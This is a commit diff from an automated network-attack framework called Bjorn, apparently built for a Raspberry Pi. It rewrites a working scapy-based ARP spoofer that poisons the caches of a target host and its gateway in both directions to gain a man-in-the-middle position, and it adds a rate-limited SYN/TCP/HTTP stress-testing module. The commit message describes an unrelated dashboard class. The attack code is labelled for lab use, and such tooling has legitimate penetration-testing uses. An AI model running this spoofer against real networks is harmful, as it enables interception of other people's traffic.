Add RLUtils class for managing RL/AI dashboard endpoints
- Implemented methods for fetching AI stats, training history, and recent experiences. - Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling. - Included helper methods for querying the database and sending JSON responses. - Integrated model metadata extraction for visualization purposes.
|
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 114 KiB After Width: | Height: | Size: 20 KiB |
|
Before Width: | Height: | Size: 162 KiB After Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 178 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 185 KiB After Width: | Height: | Size: 20 KiB |
|
Before Width: | Height: | Size: 138 KiB After Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 70 KiB After Width: | Height: | Size: 7.1 KiB |
|
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 6.6 KiB |
|
Before Width: | Height: | Size: 2.2 MiB After Width: | Height: | Size: 21 KiB |
|
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 181 KiB After Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 221 KiB After Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 181 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 159 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 155 KiB After Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 21 KiB |
|
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 14 KiB |
@@ -1,163 +1,330 @@
|
||||
# AARP Spoofer by poisoning the ARP cache of a target and a gateway.
|
||||
# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -t, --target IP address of the target device (overrides saved value).
|
||||
# -g, --gateway IP address of the gateway (overrides saved value).
|
||||
# -i, --interface Network interface (default: primary or saved).
|
||||
# -d, --delay Delay between ARP packets in seconds (default: 2 or saved).
|
||||
# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY
|
||||
# - Subsequent: python arpspoofer.py (uses saved settings).
|
||||
# - Update: Provide any argument to override saved values.
|
||||
"""
|
||||
arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning.
|
||||
|
||||
Ethical cybersecurity lab action for Bjorn framework.
|
||||
Performs bidirectional ARP spoofing between a target host and the network
|
||||
gateway. Restores ARP tables on completion or interruption.
|
||||
|
||||
SQL mode:
|
||||
- Orchestrator provides (ip, port, row) for the target host.
|
||||
- Gateway IP is auto-detected from system routing table or shared config.
|
||||
- Results persisted to JSON output and logged for RL training.
|
||||
- Fully integrated with EPD display (progress, status, comments).
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import argparse
|
||||
from scapy.all import ARP, send, sr1, conf
|
||||
import logging
|
||||
import json
|
||||
import subprocess
|
||||
import datetime
|
||||
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="arp_spoofer.py", level=logging.DEBUG)
|
||||
|
||||
# Silence scapy warnings
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
logging.getLogger("scapy").setLevel(logging.ERROR)
|
||||
|
||||
# ──────────────────────── Action Metadata ────────────────────────
|
||||
b_class = "ARPSpoof"
|
||||
b_module = "arp_spoofer"
|
||||
b_status = "arp_spoof"
|
||||
b_port = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_host_alive"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_category = "network_attack"
|
||||
b_name = "ARP Spoofer"
|
||||
b_description = (
|
||||
"Bidirectional ARP cache poisoning between target host and gateway for "
|
||||
"MITM positioning. Detects gateway automatically, spoofs both directions, "
|
||||
"and cleanly restores ARP tables on completion. Educational lab use only."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "ARPSpoof.png"
|
||||
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 30
|
||||
b_cooldown = 3600
|
||||
b_rate_limit = "2/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["mitm", "arp", "network", "layer2"]
|
||||
|
||||
b_args = {
|
||||
"duration": {
|
||||
"type": "slider", "label": "Duration (s)",
|
||||
"min": 10, "max": 300, "step": 10, "default": 60,
|
||||
"help": "How long to maintain the ARP poison (seconds)."
|
||||
},
|
||||
"interval": {
|
||||
"type": "slider", "label": "Packet interval (s)",
|
||||
"min": 1, "max": 10, "step": 1, "default": 2,
|
||||
"help": "Delay between ARP poison packets."
|
||||
},
|
||||
}
|
||||
b_examples = [
|
||||
{"duration": 60, "interval": 2},
|
||||
{"duration": 120, "interval": 1},
|
||||
]
|
||||
b_docs_url = "docs/actions/ARPSpoof.md"
|
||||
|
||||
# ──────────────────────── Constants ──────────────────────────────
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "arp")
|
||||
|
||||
b_class = "ARPSpoof"
|
||||
b_module = "arp_spoofer"
|
||||
b_enabled = 0
|
||||
# Folder and file for settings
|
||||
SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json")
|
||||
|
||||
class ARPSpoof:
|
||||
def __init__(self, target_ip, gateway_ip, interface, delay):
|
||||
self.target_ip = target_ip
|
||||
self.gateway_ip = gateway_ip
|
||||
self.interface = interface
|
||||
self.delay = delay
|
||||
conf.iface = self.interface # Set the interface
|
||||
print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s")
|
||||
"""ARP cache poisoning action integrated with Bjorn orchestrator."""
|
||||
|
||||
def get_mac(self, ip):
|
||||
"""Gets the MAC address of a target IP by sending an ARP request."""
|
||||
print(f"Retrieving MAC address for IP: {ip}")
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
self._scapy_ok = False
|
||||
self._check_scapy()
|
||||
try:
|
||||
arp_request = ARP(pdst=ip)
|
||||
response = sr1(arp_request, timeout=2, verbose=False)
|
||||
if response:
|
||||
print(f"MAC address found for {ip}: {response.hwsrc}")
|
||||
return response.hwsrc
|
||||
else:
|
||||
print(f"No ARP response received for IP {ip}")
|
||||
return None
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
logger.info("ARPSpoof initialized")
|
||||
|
||||
def _check_scapy(self):
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
|
||||
self._scapy_ok = True
|
||||
except ImportError:
|
||||
logger.error("scapy not available — ARPSpoof will not function")
|
||||
self._scapy_ok = False
|
||||
|
||||
# ─────────────────── Identity Cache ──────────────────────
|
||||
def _refresh_ip_identity_cache(self):
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
print(f"Error retrieving MAC address for {ip}: {e}")
|
||||
return None
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hn = (r.get("hostnames") or "").split(";", 1)[0]
|
||||
for ip_addr in [p.strip() for p in (r.get("ips") or "").split(";") if p.strip()]:
|
||||
self._ip_to_identity[ip_addr] = (mac, hn)
|
||||
|
||||
def spoof(self, target_ip, spoof_ip):
|
||||
"""Sends an ARP packet to spoof the target into believing the attacker's IP is the spoofed IP."""
|
||||
print(f"Preparing ARP spoofing for target {target_ip}, pretending to be {spoof_ip}")
|
||||
target_mac = self.get_mac(target_ip)
|
||||
spoof_mac = self.get_mac(spoof_ip)
|
||||
if not target_mac or not spoof_mac:
|
||||
print(f"Cannot find MAC address for target {target_ip} or {spoof_ip}, spoofing aborted")
|
||||
return
|
||||
def _mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
# ─────────────────── Gateway Detection ──────────────────
|
||||
def _detect_gateway(self) -> Optional[str]:
|
||||
"""Auto-detect the default gateway IP."""
|
||||
gw = getattr(self.shared_data, "gateway_ip", None)
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
try:
|
||||
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
|
||||
send(arp_response, verbose=False)
|
||||
print(f"Spoofed ARP packet sent to {target_ip} claiming to be {spoof_ip}")
|
||||
result = subprocess.run(
|
||||
["ip", "route", "show", "default"],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
parts = result.stdout.strip().split("\n")[0].split()
|
||||
idx = parts.index("via") if "via" in parts else -1
|
||||
if idx >= 0 and idx + 1 < len(parts):
|
||||
return parts[idx + 1]
|
||||
except Exception as e:
|
||||
print(f"Error sending ARP packet to {target_ip}: {e}")
|
||||
|
||||
def restore(self, target_ip, spoof_ip):
|
||||
"""Sends an ARP packet to restore the legitimate IP/MAC mapping for the target and spoof IP."""
|
||||
print(f"Restoring ARP association for {target_ip} using {spoof_ip}")
|
||||
target_mac = self.get_mac(target_ip)
|
||||
gateway_mac = self.get_mac(spoof_ip)
|
||||
|
||||
if not target_mac or not gateway_mac:
|
||||
print(f"Cannot restore ARP, MAC addresses not found for {target_ip} or {spoof_ip}")
|
||||
return
|
||||
|
||||
logger.debug(f"Gateway detection via ip route failed: {e}")
|
||||
try:
|
||||
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=gateway_mac)
|
||||
send(arp_response, verbose=False, count=5)
|
||||
print(f"ARP association restored between {spoof_ip} and {target_mac}")
|
||||
from scapy.all import conf as scapy_conf
|
||||
gw = scapy_conf.route.route("0.0.0.0")[2]
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
except Exception as e:
|
||||
print(f"Error restoring ARP association for {target_ip}: {e}")
|
||||
logger.debug(f"Gateway detection via scapy failed: {e}")
|
||||
return None
|
||||
|
||||
def execute(self):
|
||||
"""Executes the ARP spoofing attack."""
|
||||
# ─────────────────── ARP Operations ──────────────────────
|
||||
@staticmethod
|
||||
def _get_mac_via_arp(ip: str, iface: str = None, timeout: float = 2.0) -> Optional[str]:
|
||||
"""Resolve IP to MAC via ARP request."""
|
||||
try:
|
||||
print(f"Starting ARP Spoofing attack on target {self.target_ip} via gateway {self.gateway_ip}")
|
||||
from scapy.all import ARP, sr1
|
||||
kwargs = {"timeout": timeout, "verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
resp = sr1(ARP(pdst=ip), **kwargs)
|
||||
if resp and hasattr(resp, "hwsrc"):
|
||||
return resp.hwsrc
|
||||
except Exception as e:
|
||||
logger.debug(f"ARP resolution failed for {ip}: {e}")
|
||||
return None
|
||||
|
||||
while True:
|
||||
target_mac = self.get_mac(self.target_ip)
|
||||
gateway_mac = self.get_mac(self.gateway_ip)
|
||||
@staticmethod
|
||||
def _send_arp_poison(target_ip, target_mac, spoof_ip, iface=None):
|
||||
"""Send a single ARP poison packet (op=is-at)."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip
|
||||
)
|
||||
kwargs = {"verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP poison send failed to {target_ip}: {e}")
|
||||
|
||||
if not target_mac or not gateway_mac:
|
||||
print(f"Error retrieving MAC addresses, stopping ARP Spoofing")
|
||||
self.restore(self.target_ip, self.gateway_ip)
|
||||
self.restore(self.gateway_ip, self.target_ip)
|
||||
@staticmethod
|
||||
def _send_arp_restore(target_ip, target_mac, real_ip, real_mac, iface=None):
|
||||
"""Restore legitimate ARP mapping with multiple packets."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac,
|
||||
psrc=real_ip, hwsrc=real_mac
|
||||
)
|
||||
kwargs = {"verbose": False, "count": 5}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP restore failed for {target_ip}: {e}")
|
||||
|
||||
# ─────────────────── Main Execute ────────────────────────
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""Execute bidirectional ARP spoofing against target host."""
|
||||
self.shared_data.bjorn_orch_status = "ARPSpoof"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
self.shared_data.comment_params = {"ip": ip}
|
||||
|
||||
if not self._scapy_ok:
|
||||
logger.error("scapy unavailable, cannot perform ARP spoof")
|
||||
return "failed"
|
||||
|
||||
target_mac = None
|
||||
gateway_mac = None
|
||||
gateway_ip = None
|
||||
iface = None
|
||||
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||
hostname = row.get("Hostname") or row.get("hostname") or ""
|
||||
|
||||
# 1) Detect gateway
|
||||
gateway_ip = self._detect_gateway()
|
||||
if not gateway_ip:
|
||||
logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
|
||||
return "failed"
|
||||
if gateway_ip == ip:
|
||||
logger.warning(f"Target {ip} IS the gateway — skipping")
|
||||
return "failed"
|
||||
|
||||
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
|
||||
self.shared_data.log_milestone(b_class, "GatewayID", f"Poisoning {ip} <-> {gateway_ip}")
|
||||
self.shared_data.comment_params = {"ip": ip, "gateway": gateway_ip}
|
||||
self.shared_data.bjorn_progress = "10%"
|
||||
|
||||
# 2) Resolve MACs
|
||||
iface = getattr(self.shared_data, "default_network_interface", None)
|
||||
target_mac = self._get_mac_via_arp(ip, iface)
|
||||
gateway_mac = self._get_mac_via_arp(gateway_ip, iface)
|
||||
|
||||
if not target_mac:
|
||||
logger.error(f"Cannot resolve MAC for target {ip}")
|
||||
return "failed"
|
||||
if not gateway_mac:
|
||||
logger.error(f"Cannot resolve MAC for gateway {gateway_ip}")
|
||||
return "failed"
|
||||
|
||||
self.shared_data.bjorn_progress = "20%"
|
||||
logger.info(f"Resolved — target_mac={target_mac}, gateway_mac={gateway_mac}")
|
||||
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
|
||||
|
||||
# 3) Spoofing loop
|
||||
duration = int(getattr(self.shared_data, "arp_spoof_duration", 60))
|
||||
interval = max(1, int(getattr(self.shared_data, "arp_spoof_interval", 2)))
|
||||
packets_sent = 0
|
||||
start_time = time.time()
|
||||
|
||||
while (time.time() - start_time) < duration:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit — stopping ARP spoof")
|
||||
break
|
||||
self._send_arp_poison(ip, target_mac, gateway_ip, iface)
|
||||
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)
|
||||
packets_sent += 2
|
||||
|
||||
print(f"Sending ARP packets to poison {self.target_ip} and {self.gateway_ip}")
|
||||
self.spoof(self.target_ip, self.gateway_ip)
|
||||
self.spoof(self.gateway_ip, self.target_ip)
|
||||
elapsed = time.time() - start_time
|
||||
pct = min(90, int(20 + (elapsed / max(duration, 1)) * 70))
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
if packets_sent % 20 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Injected {packets_sent} poison pkts")
|
||||
|
||||
time.sleep(self.delay)
|
||||
time.sleep(interval)
|
||||
|
||||
# 4) Restore ARP tables
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
logger.info("Restoring ARP tables...")
|
||||
self.shared_data.log_milestone(b_class, "RestoreStart", f"Healing {ip} and {gateway_ip}")
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
|
||||
# 5) Save results
|
||||
elapsed_total = time.time() - start_time
|
||||
result_data = {
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"target_ip": ip, "target_mac": target_mac,
|
||||
"gateway_ip": gateway_ip, "gateway_mac": gateway_mac,
|
||||
"duration_s": round(elapsed_total, 1),
|
||||
"packets_sent": packets_sent,
|
||||
"hostname": hostname, "mac_address": mac
|
||||
}
|
||||
try:
|
||||
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
out_file = os.path.join(OUTPUT_DIR, f"arp_spoof_{ip}_{ts}.json")
|
||||
with open(out_file, "w") as f:
|
||||
json.dump(result_data, f, indent=2)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save results: {e}")
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Restored tables after {packets_sent} pkts")
|
||||
return "success"
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Attack interrupted. Restoring ARP tables.")
|
||||
self.restore(self.target_ip, self.gateway_ip)
|
||||
self.restore(self.gateway_ip, self.target_ip)
|
||||
print("ARP Spoofing stopped and ARP tables restored.")
|
||||
except Exception as e:
|
||||
print(f"Unexpected error during ARP Spoofing attack: {e}")
|
||||
logger.error(f"ARPSpoof failed for {ip}: {e}")
|
||||
if target_mac and gateway_mac and gateway_ip:
|
||||
try:
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
logger.info("Emergency ARP restore sent after error")
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
def save_settings(target, gateway, interface, delay):
|
||||
"""Saves the ARP spoofing settings to a JSON file."""
|
||||
try:
|
||||
os.makedirs(SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"target": target,
|
||||
"gateway": gateway,
|
||||
"interface": interface,
|
||||
"delay": delay
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as file:
|
||||
json.dump(settings, file)
|
||||
print(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
print(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Loads the ARP spoofing settings from a JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as file:
|
||||
return json.load(file)
|
||||
except Exception as e:
|
||||
print(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="ARP Spoofing Attack Script")
|
||||
parser.add_argument("-t", "--target", help="IP address of the target device")
|
||||
parser.add_argument("-g", "--gateway", help="IP address of the gateway")
|
||||
parser.add_argument("-i", "--interface", default=conf.iface, help="Network interface to use (default: primary interface)")
|
||||
parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)")
|
||||
args = parser.parse_args()
|
||||
|
||||
# Load saved settings and override with CLI arguments
|
||||
settings = load_settings()
|
||||
target_ip = args.target or settings.get("target")
|
||||
gateway_ip = args.gateway or settings.get("gateway")
|
||||
interface = args.interface or settings.get("interface")
|
||||
delay = args.delay or settings.get("delay")
|
||||
|
||||
if not target_ip or not gateway_ip:
|
||||
print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.")
|
||||
exit(1)
|
||||
|
||||
# Save the settings for future use
|
||||
save_settings(target_ip, gateway_ip, interface, delay)
|
||||
|
||||
# Execute the attack
|
||||
spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay)
|
||||
spoof.execute()
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
spoofer = ARPSpoof(shared_data)
|
||||
logger.info("ARPSpoof module ready.")
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
|
||||
@@ -1,315 +1,617 @@
|
||||
# Resource exhaustion testing tool for network and service stress analysis.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/berserker_force_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -t, --target Target IP or hostname to test.
|
||||
# -p, --ports Ports to test (comma-separated, default: common ports).
|
||||
# -m, --mode Test mode (syn, udp, http, mixed, default: mixed).
|
||||
# -r, --rate Packets per second (default: 100).
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stress).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
berserker_force.py -- Service resilience / stress testing (Pi Zero friendly, orchestrator compatible).
|
||||
|
||||
What it does:
|
||||
- Phase 1 (Baseline): Measures TCP connect response times per port (3 samples each).
|
||||
- Phase 2 (Stress Test): Runs a rate-limited load test using TCP connect, optional SYN probes
|
||||
(scapy), HTTP probes (urllib), or mixed mode.
|
||||
- Phase 3 (Post-stress): Re-measures baseline to detect degradation.
|
||||
- Phase 4 (Analysis): Computes per-port degradation percentages, writes a JSON report.
|
||||
|
||||
This is NOT a DoS tool. It sends measured, rate-limited probes and records how the
|
||||
target's response times change under light load. Max 50 req/s to stay RPi-safe.
|
||||
|
||||
Output is saved to data/output/stress/<ip>_<timestamp>.json
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
import queue
|
||||
import socket
|
||||
import os
|
||||
import random
|
||||
import requests
|
||||
from scapy.all import *
|
||||
import psutil
|
||||
from collections import defaultdict
|
||||
import socket
|
||||
import ssl
|
||||
import statistics
|
||||
import time
|
||||
import threading
|
||||
from datetime import datetime, timezone
|
||||
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from urllib.request import Request, urlopen
|
||||
from urllib.error import URLError
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="berserker_force.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Scapy (optional) ----------------------------------------
|
||||
_HAS_SCAPY = False
|
||||
try:
|
||||
from scapy.all import IP, TCP, sr1, conf as scapy_conf # type: ignore
|
||||
_HAS_SCAPY = True
|
||||
except ImportError:
|
||||
logger.info("scapy not available -- SYN probe mode will fall back to TCP connect")
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------------
|
||||
b_class = "BerserkerForce"
|
||||
b_module = "berserker_force"
|
||||
b_enabled = 0
|
||||
b_status = "berserker_force"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_port_change"
|
||||
b_action = "aggressive"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 15
|
||||
b_cooldown = 7200
|
||||
b_rate_limit = "2/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 1
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
b_category = "stress"
|
||||
b_name = "Berserker Force"
|
||||
b_description = (
|
||||
"Service resilience and stress-testing action. Measures baseline response "
|
||||
"times, applies controlled TCP/SYN/HTTP load, then re-measures to quantify "
|
||||
"degradation. Rate-limited to 50 req/s max (RPi-safe). No actual DoS -- "
|
||||
"just measured probing with structured JSON reporting."
|
||||
)
|
||||
b_author = "Bjorn Community"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "BerserkerForce.png"
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/stress"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "berserker_force_settings.json")
|
||||
DEFAULT_PORTS = [21, 22, 23, 25, 80, 443, 445, 3306, 3389, 5432]
|
||||
b_tags = ["stress", "availability", "resilience"]
|
||||
|
||||
b_args = {
|
||||
"mode": {
|
||||
"type": "select",
|
||||
"label": "Probe mode",
|
||||
"choices": ["tcp", "syn", "http", "mixed"],
|
||||
"default": "tcp",
|
||||
"help": "tcp = connect probe, syn = SYN via scapy (needs root), "
|
||||
"http = urllib GET for web ports, mixed = random pick per probe.",
|
||||
},
|
||||
"duration": {
|
||||
"type": "slider",
|
||||
"label": "Stress duration (s)",
|
||||
"min": 10,
|
||||
"max": 120,
|
||||
"step": 5,
|
||||
"default": 30,
|
||||
"help": "How long the stress phase runs in seconds.",
|
||||
},
|
||||
"rate": {
|
||||
"type": "slider",
|
||||
"label": "Probes per second",
|
||||
"min": 1,
|
||||
"max": 50,
|
||||
"step": 1,
|
||||
"default": 20,
|
||||
"help": "Max probes per second (clamped to 50 for RPi safety).",
|
||||
},
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"mode": "tcp", "duration": 30, "rate": 20},
|
||||
{"mode": "mixed", "duration": 60, "rate": 40},
|
||||
{"mode": "syn", "duration": 20, "rate": 10},
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/BerserkerForce.md"
|
||||
|
||||
# -------------------- Constants -----------------------------------------------
|
||||
_DATA_DIR = "/home/bjorn/Bjorn/data"
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "stress")
|
||||
|
||||
_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline
|
||||
_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout
|
||||
_HTTP_TIMEOUT_S = 3.0 # urllib timeout
|
||||
_MAX_RATE = 50 # hard ceiling probes/s (RPi guard)
|
||||
_WEB_PORTS = {80, 443, 8080, 8443, 8000, 8888, 9443, 3000, 5000}
|
||||
|
||||
# -------------------- Helpers -------------------------------------------------
|
||||
|
||||
def _tcp_connect_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]:
|
||||
"""Return round-trip TCP connect time in seconds, or None on failure."""
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout_s)
|
||||
try:
|
||||
t0 = time.monotonic()
|
||||
err = sock.connect_ex((ip, int(port)))
|
||||
elapsed = time.monotonic() - t0
|
||||
return elapsed if err == 0 else None
|
||||
except Exception:
|
||||
return None
|
||||
finally:
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _syn_probe_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]:
|
||||
"""Send a SYN via scapy and measure SYN-ACK time. Falls back to TCP connect."""
|
||||
if not _HAS_SCAPY:
|
||||
return _tcp_connect_time(ip, port, timeout_s)
|
||||
try:
|
||||
pkt = IP(dst=ip) / TCP(dport=int(port), flags="S", seq=random.randint(0, 0xFFFFFFFF))
|
||||
t0 = time.monotonic()
|
||||
resp = sr1(pkt, timeout=timeout_s, verbose=0)
|
||||
elapsed = time.monotonic() - t0
|
||||
if resp and resp.haslayer(TCP):
|
||||
flags = resp[TCP].flags
|
||||
# SYN-ACK (0x12) or RST (0x14) both count as "responded"
|
||||
if flags in (0x12, 0x14, "SA", "RA"):
|
||||
# Send RST to be polite
|
||||
try:
|
||||
from scapy.all import send as scapy_send # type: ignore
|
||||
rst = IP(dst=ip) / TCP(dport=int(port), flags="R", seq=resp[TCP].ack)
|
||||
scapy_send(rst, verbose=0)
|
||||
except Exception:
|
||||
pass
|
||||
return elapsed
|
||||
return None
|
||||
except Exception:
|
||||
return _tcp_connect_time(ip, port, timeout_s)
|
||||
|
||||
|
||||
